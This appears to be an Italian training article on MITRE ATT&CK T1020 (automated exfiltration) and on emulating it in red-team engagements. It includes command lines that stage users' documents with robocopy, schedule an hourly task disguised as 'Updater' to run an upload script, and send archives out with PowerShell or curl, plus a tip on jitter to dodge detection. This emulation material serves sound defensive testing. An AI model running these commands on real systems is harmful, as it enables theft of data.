Esfiltrazione Automatizzata: Automated Exfiltration (T1020)
L'esfiltrazione automatizzata descrive quella famiglia di comportamenti in cui l'attaccante, dopo aver raccolto dati sensibili sull'endpoint compromesso, delega a script, moduli malware o job schedulati il compito di trasferirli fuori dal perimetro senza intervento manuale. La tecnica è mappata alla tattica TA0010 (Exfiltration) e rappresenta la fase terminale della kill chain, quella in cui il valore economico o strategico dell'intrusione si concretizza.
La peculiarità di T1020 sta nel fatto che raramente vive da sola: si combina quasi sempre con canali di trasporto come Exfiltration Over C2 Channel o Exfiltration Over Alternative Protocol, delegando a moduli separati la scelta del protocollo (HTTP POST, FTP, UDP verso record DNS TXT, upload cloud). L'automazione garantisce persistenza operativa, riduce l'impronta comportamentale dell'operatore umano e permette di gestire code di file con priorità e retry.
I numeri disponibili nel dataset MITRE ATT&CK sono significativi: 6 gruppi APT documentati, 20 famiglie di software che implementano nativamente logiche di upload automatico e 3 campagne di rilievo, tra cui Frankenstein, ArcaneDoor e la recente Salesforce Data Exfiltration. Il fatto che non risultino mitigazioni ufficialmente mappate riflette la natura trasversale della tecnica: la difesa efficace non si costruisce sul singolo canale ma sulla capacità di correlare pattern di traffico ricorrente con l'attività di raccolta a monte.
In un ingaggio red team, la simulazione di T1020 deve riprodurre il ciclo completo raccolta → compressione → upload periodico, non solo il singolo trasferimento. L'obiettivo è validare la capacità del SOC di individuare pattern ricorrenti, non un singolo evento isolato.
Su Windows, il modo più semplice per emulare il comportamento osservato in famiglie come Rover o TINYTYPHON è combinare robocopy per la raccolta selettiva e uno Scheduled Task per il trigger periodico. Un esempio realistico di raccolta ricorsiva su estensioni target:
robocopy C:\Users\ %TEMP%\stage /S /XA:H /IF *.docx *.xlsx *.pdf /R:0 /W:0
Seguito da una schedulazione ogni 60 minuti tramite schtasks /Create /SC MINUTE /MO 60 /TN Updater /TR "powershell -File C:\Users\Public\upload.ps1". Lo script PowerShell può replicare la logica di Winter Vivern, ovvero enumerazione ricorsiva con Get-ChildItem -Recurse -Include e successivo Invoke-WebRequest -Method POST -InFile.
Su Linux e macOS, il pattern Ebury o Doki si riproduce con un job cron minimalista che invoca curl --data-binary @/tmp/stage.tar.gz
Per catene più realistiche, i framework di post-exploitation offrono moduli nativi. Empire (open source, mantenuto da BC-Security) implementa moduli di collection e auto-upload verso il listener C2, replicando esattamente quanto osservato nella campagna Frankenstein. Sliver (open source) e Mythic (open source) offrono agenti configurabili con task ricorrenti definiti in YAML, utili per simulare code di egress come quelle di TajMahal.
Per l'esfiltrazione verso cloud storage — pattern Crutch verso Dropbox — è sufficiente uno script che invochi le API ufficiali con un token OAuth di test; l'obiettivo è verificare se il proxy o il DNS filtering distinguono traffico legittimo verso dropbox.com da abuso applicativo.
Un dettaglio operativo spesso trascurato: variare gli intervalli con jitter (es. 55-65 minuti anziché 60 esatti) rende la simulazione più realistica e mette alla prova le detection basate su intervalli fissi. Documentare sempre timestamp di inizio, volumi trasferiti e destinazioni per il report post-ingaggio.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.